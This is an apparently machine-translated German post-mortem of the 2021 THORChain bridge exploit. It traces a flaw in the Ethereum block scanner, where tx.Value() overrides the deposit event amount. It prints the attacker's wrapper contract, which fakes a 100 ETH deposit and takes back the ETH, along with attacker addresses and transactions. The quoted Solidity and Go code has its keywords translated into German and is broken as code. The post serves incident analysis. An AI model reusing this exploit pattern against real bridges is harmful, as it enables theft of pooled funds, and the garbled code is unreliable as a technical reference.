Adressen im Zusammenhang mit diesem Angriff:

  • THORChain-Exploiter 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • THORChain Exploiter-Vertrag: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • THORChain Router (Opfer): 0xC145990E84155416144C532E31f89B840Ca8c2cE

Zuerst wollte ich auf den Artikel auf https://rekt.news/thorchain-rekt/ verweisen, aber mir wurde klar, dass sie die falschen Beweise zitierten und der Artikel ziemlich lückenhaft war, also beschloss ich, es selbst herauszufinden.

Architektur der Thorchain-Brücke

Im Kryptowährungsuniversum gibt es viele Ketten, in jeder Kette gibt es unzählige verschiedene Arten von Münzen. Seit jeher träumen die Menschen davon, Münzen einfach von einer Kette in eine andere zu verschieben.

Es wurden viele Brücken mit der Aufgabe geschaffen, Ketten miteinander zu verbinden, wie etwa Anyswap, Binance Bridge usw. Die meisten dieser Brücken sind auf der Sperrliquiditätsarchitektur an beiden Enden aufgebaut. Validatoren haben die Aufgabe, Ereignisse abzuhören oder Transaktionssperren zu verwalten in der Quellkette und entsperrt in der Zielkette. Sie funktionieren nahezu augenblicklich mit Sperren und Entsperren, ohne dass andere Derivattransaktionen auf Validatoren stattfinden.

Was ist das Besondere an der Bridge-Architektur von Thorchain?

image.png

Wie der Name Thorchain vermuten lässt, handelt es sich bei dieser Bridge tatsächlich um eine aus Cosmos-sdk erstellte Kette. Cosmos-sdk ist im Kryptowährungsuniversum so berühmt, da es den Vorteil hat, Ketten, Münzen in der Kette und Münztransaktionslogik einfach zu definieren, dass der Riese Binance ihm beim Aufbau der Börse vertraute. Und es war Cosmos-sdk, das den Grundstein für die IBC-Ideologie (Inter Blockchain Communication) legte, die als erste Cross-Chain betrachtet werden kann.

Als Thor dies erkannte, wählte er Cosmos-SDK als Hauptmaterial für seine Bridge.

In Thorchain steht es den Knoten frei, an der Kette teilzunehmen, indem sie einen bestimmten Betrag hinterlegen, der zurückgezahlt wird, wenn der Knoten die Kette verlässt. Knoten sind dafür verantwortlich, Blöcke von externen Ketten (derzeit einschließlich Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin) abzuhören und sie dann zu verarbeiten und die aus den Blöcken erhaltenen Informationen in Thorchain (Bifrost-Schicht) zu speichern um zu sehen, dass Knoten in Thorchain unter Verwendung des IBC von Cosmos-sdk selbst übereinstimmen.

In Thorchain ist die native Münze RUNE, die zur Berechnung von Swap-Transaktionsgebühren und Gas verwendet wird.

Wie werden Benutzer an Thorchain teilnehmen?

Wenn beispielsweise ein Benutzer von Ethereum Geld in Thorchain einzahlen möchte, ruft er über die Schnittstelle von Thorchain die Funktion „deposit()“ für den Smart Contract „THORChain_Router“ auf, den Thor bereitgestellt hat.

// Hinterlegen Sie einen Vermögenswert mit einem Memo. ETH wird weitergeleitet, ERC-20 bleibt im ROUTER. Funktion Einzahlung (Adresse zahlbar Tresor, Adresse Vermögenswert, uint Betrag, String Speicher Memo) öffentlich zahlbar nonReentrant { uint safeAmount; wenn (Vermögenswert == Adresse (0)) { safeAmount = msg.value; (bool Erfolg,) = vault.call {Wert: safeAmount} (""); erforderlich (Erfolg); } sonst wenn (Vermögenswert == RUNE) { safeAmount = Betrag; iRUNE (RUNE).transferTo (Adresse (dieser), Betrag); iERC20 (RUNE).burn (Betrag); } sonst { safeAmount = safeTransferFrom (Vermögenswert, Betrag); // Vermögenswert übertragen vaultAllowance [Tresor] ​​[Vermögenswert] += safeAmount; // Gutschrift auf gewähltem Tresor } emittieren Einzahlung (Tresor, Vermögenswert, safeAmount, Memo); }

Hier sind die Parameter:

  • Tresor: ist eine Wallet-Adresse in der Liste der Adressen, die es Benutzern ermöglicht, Geld einzuzahlen. Laut der Dokumentation von Thorchain werden bei 100 Knoten etwa 3 Tresore für Einzahlungen verwendet, während der Tresor für Benutzer zum Abheben über 100 Tresore verfügt, was bedeutet, dass jeder Knoten über einen eigenen Tresor für Auszahlungen verfügt.

  • Asset: Adresse der Münze. Wenn die Münze ETH ist, ist dieser Wert Adresse (0).

  • Stückzahl

  • Memo: hat die Form SWAP:ETH.ETH:RECEIVER_ADDRESS oder SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Dieses Memo soll zeigen, dass das Ziel des Benutzers darin besteht, welche Münze gegen welche Münze zu tauschen und welche Empfangsadresse welche ist Adresse an welcher Kette?

Thorchain-Knoten überwachen kontinuierlich die Blöcke auf Ethereum und verarbeiten darin Transaktionen. Der Knoten bestimmt den Transaktionstyp basierend auf dem Meme in der Deposit()-Transaktion. Es kann Liquidität hinzufügen oder Swap (kann mit Chain oder Crosschain Swap) sein, sodass Thorchain zwei Arten von Benutzern erstellt hat:

  • Liquiditätsanbieter: Dieser Benutzer stellt dem Pool Liquidität zur Verfügung und erhält Gebühren aus Swap-Transaktionen. Informationen zu diesen Pools werden in Thorchain gespeichert

  • Normale Benutzer: Führen Sie den Tausch durch und verlieren Sie die Gebühr. Sie rufen die Einzahlungsfunktion mit der entsprechenden Notiz zum Smart-Vertrag auf. Die Knoten verarbeiten und validieren die Transaktion und speichern die Informationen in Thorchain. Anschließend rufen sie die Funktion transferOut() auf, um die Transaktion zu senden Ausgabetoken an die Empfängeradresse in der entsprechenden Kette.

TransferOut-Funktion:

// Alle Vault-Aufrufe zum Übertragen eines beliebigen Vermögenswerts an einen beliebigen Empfänger. Funktion „transferOut“ (Adresse zahlbar an, Adresse des Vermögenswerts, uint Betrag, Zeichenfolge Speichermemo) öffentlich zahlbar, nicht wiedereintrittsfähig { uint safeAmount; bool Erfolg; wenn (Vermögenswert == Adresse (0)) { safeAmount = msg.value; (Erfolg,) = an.call {Wert: msg.value} („“); // ETH senden } sonst { vaultAllowance[msg.sender][Vermögenswert] -= Betrag; // Zuschuss reduzieren (Erfolg,) = Vermögenswert.call (abi.encodeWithSignature („transfer(Adresse, uint256)“, an, Betrag)); safeAmount = Betrag; } erforderlich (Erfolg); emittiert TransferOut (msg.sender, an, Vermögenswert, safeAmount, Memo); }

Wo ist das Loch?

Die Antwort ist, dass es in der Bifrost-Schicht des Knotens liegt, genauer gesagt im Ethereum-Block-Scanner-Modul des Knotens.

Ok, jetzt werden wir Thorchains Commits auf Gitlab in ihrem Thornode-Repo verfolgen.

Sie haben einen Commit auf „Resolve „[BUG] Fix ETH Chain Attack““ mit dem Hash „eab0715650919a1f1ba525011423e71b53ffb27b“ festgelegt, daher werden wir uns auf diesen Commit konzentrieren, insbesondere auf die Datei „bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go“.

Wir sehen, dass sie einige wichtige Änderungen in der Funktion getTxInFromSmartContract() um Zeile 854 bis hin zu https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c1c2 vorgenommen haben 048cb_854_854, die Schwachstelle liegt höchstwahrscheinlich hier.

Schauen wir uns den Code dieser Funktion an, bevor Commit Resolve „[BUG] Fix ETH Chain Attack“ zusammengeführt wird.

// getTxInFromSmartContract gibt txInItem zurück func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, receipt etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("tx from smart contract parsen") txInItem := &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sender, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("Absender konnte nicht abgerufen werden: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 ist der Status der erfolgreichen Transaktion if receipt.Status != 1 { e.logger.Info().Msgf("tx(%s) Status: %d bedeutet fehlgeschlagen, ignorieren", tx.Hash().String(), receipt.Status) return nil, nil } für, Artikel := Bereich receipt.Logs { switch item.Topics[0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("Fehler beim Analysieren des Einzahlungsereignisses: %w", err) } e.logger.Info().Msgf("Einzahlung:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo asset, err := e.getAssetFromTokenAddress(depositEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("Fehler beim Abrufen des Assets von Token-Adresse: %w", err) } if asset.IsEmpty() { return nil, nil } Dezimalstellen := e.getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("Token:%s,Dezimalstellen:%d", depositEvt.Asset, Dezimalstellen) txInItem.Coins = append(txInItem.Coins, common.NewCoin(Asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(Dezimalstellen)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil, fmt.Errorf("Fehler beim Analysieren des Transfer-Out-Ereignisses: %w", err) } e.logger.Info().Msgf("Ausgehender Transfer: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String() txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo Asset, Fehler := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) falls Fehler != nil { return nil, fmt.Errorf("Asset konnte nicht von Token-Adresse abgerufen werden: %w", Fehler) } falls Asset.IsEmpty() { return nil, nil } Dezimalstellen := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimals)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("Fehler beim Analysieren des Transfergeldereignisses: %w", err) } e.logger.Info().Msgf("Transfergeld: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo asset, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset.String()) wenn err != nil { return nil, fmt.Errorf("Asset konnte nicht von Token-Adresse abgerufen werden: %w", err) } wenn asset.IsEmpty() { return nil, nil } Dezimalstellen := e.getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(Dezimalstellen)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) wenn err != nil { return nil, fmt.Errorf("Tresorübertragungsereignis konnte nicht analysiert werden: %w", err) } e.logger.Info().Msgf("Tresorübertragung: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo für, Artikel := Bereich transferEvent.Coins { Vermögenswert, err := e.getAssetFromTokenAddress(item.Asset.String()) falls err != nil { return nil, fmt.Errorf("Vermögenswert konnte nicht von Tokenadresse abgerufen werden: %w", err) } falls asset.IsEmpty() { return nil, nil } Dezimalstellen := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset.String(), item.Amount)).WithDecimals(decimals)) } } } // es ist wichtig, diesen Teil außerhalb der obigen Schleife zu halten, da wir beispielsweise bei einem Router-Upgrade mehrere Einzahlungsereignisse generieren könnten, zusammen mit einer TX, die den ETH-Wert enthält: ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, gas price: %s, gas used: %d,receipt status:%d", txInItem.Tx, tx.GasPrice().String(), receipt.GasUsed, receipt.Status) // unter keinen Umständen wird der ETH-Gaspreis weniger als 1 Gwei betragen, es sei denn, dies befindet sich in der Entwicklungsumgebung txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, receipt.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("in dieser tx ist keine Münze, ignorieren, %+v", txInItem) return nil, nil } e.logger.Debug().Msgf("tx im Artikel: %+v", txInItem) return txInItem, nil }

Diese Funktion ist dafür verantwortlich, zu prüfen, ob die Übertragung erfolgreich ist oder nicht. Wenn dies der Fall ist, verarbeitet sie die von dieser Übertragung ausgegebenen Ereignisse, um zu ermitteln, von welcher Münze der Benutzer zu welcher Münze wechseln möchte (dies kann dieselbe oder eine andere Kette sein). ) Die Ausgabe dieser Funktion wird vom Knoten gespeichert und an Thorchain gesendet. Anschließend senden die Knoten Münzen an die Empfangsadresse, um den Abschluss des Tauschs zu prüfen.

Hinweis im Fall „depositEvent“: Dies ist der Fall, der behandelt wird, wenn der Ereignisknoten das Ereignis „Deposit(address indexed to, address indexed asset, uint amount, string memo)“ des „THORChain_Router“-Vertrags ist. Es bestimmt die eingegebene Münze, die Menge und das Memo und bestimmt dann basierend auf dem Memo die ausgegebene Münze und die gewünschte Empfangsadresse des Benutzers.

Beim Verlassen der for-Schleife gibt es ein Handle für die Einzahlung der nativen Münze ETH:

// es ist wichtig, diesen Teil außerhalb der obigen Schleife zu halten, da bei einem Router-Upgrade möglicherweise mehrere Einzahlungsereignisse generiert werden, zusammen mit einer Transaktion, die einen ETH-Wert enthält ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

Dies ist der Fehler, obwohl die oben genannten Münz- und Mengeninformationen aus der Analyse des Einzahlungsereignisses stammen, analysieren wir hier weiterhin tx.Value(), wodurch die Möglichkeit geschaffen wurde, die zuvor erhaltenen Informationen zu überschreiben.

Hacker haben dies bemerkt und einen intelligenten Angriffsvertrag erstellt. Die Logik ist sehr einfach: Er umschließt THORChain_Router wie folgt:

// SPDX-Lizenzkennung: NICHT LIZENZIERT Pragma Solidity 0.8.3; Schnittstelle IRouter { Funktion Einzahlung (Adresse zahlbar Tresor, Adresse Vermögenswert, uint256 Betrag, Zeichenfolge Speicher Memo) extern zahlbar; } Vertrag Angriff { Funktion Angriff (Adresse Router, Adresse zahlbar Tresor, Zeichenfolge Speicher Memo) extern zahlbar { IRouter(Router).Einzahlung{Wert: 0}(Tresor, Adresse(0), 0, Memo); zahlbar(Nachricht.Absender).Übertragung(Nachricht.Wert); } }

Zum Beispiel ruft der Hacker die Angriffsfunktion mit einem bestimmten gültigen Tresor von Thorchain auf, Memo könnte „SWAP:ETH.ETH“ sein und msg.value ist 100 ETH, nach dem Aufruf gehören 100 ETH immer noch ihm, aber innerhalb des Angriffs heißt es „deposit( ) von THORChain_Router.

Durch die Kombination dieses Smart Contracts mit der oben genannten Funktion „getTxInFromSmartContract()“ des Knotens konnte der Hacker den Knoten leicht täuschen und ihm vorgaukeln, er wolle 100 ETH gegen eine bestimmte Münze eintauschen, obwohl er keine ETH eingezahlt hatte.

Hier ist der TXN-Verlauf von Hacker auf Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

Nehmen Sie zum Beispiel diesen Txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (Block 12833255). Hacker griff mit 100ETH an, zusammen mit Tresor 0xf56cba49337a624e94042e325ad6bc864436e370, Memo „SWAP:ETH.ETH“.

image.pngWir können das von THORChain_Router ausgegebene Ereignis leicht erkennen:image.png

Obwohl der Betrag des Einzahlungsereignisses 0 ist, beträgt tx.Value() 100.265 ETH. Daher dachte der Knoten, dass jemand 100 ETH gegen 100 ETH tauschen wollte =))).

Das ist alles, der Hacker muss nur darauf warten, dass 100 ETH in seiner Wallet ankommen. Die Transaktion, die Node transferOut() 100 ETH an den Hacker sendet, ist https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

Hacker wiederholten dies viele Male, um ETH und andere ERC20-Token im Pool mit einem geschätzten Wert von etwa 5 Millionen US-Dollar zu stehlen.

Derzeit hat Thor seine Thorchain repariert, der Austausch wird jedoch pausiert, um nach anderen möglichen Schwachstellen zu suchen.

Zusammenfassung

DeFi ist immer ein fruchtbares Land für Start-ups und Hacker. Je mehr Modelle geboren werden, desto mehr Schwachstellen können auftreten, was zu Verlusten von bis zu Millionen Dollar führen kann. Aber alles, bevor es zur Perfektion gelangt, muss eine Menge Schmerzen durchmachen. Diese zu überwinden bedeutet, dass die Technologie immer besser wird.

Der Artikel stammt aus dem Jahr 2021, aber die Lektionen sind immer noch gültig. Vielen Dank @trinhvantan für die Veröffentlichung wertvoller Artikel für die Community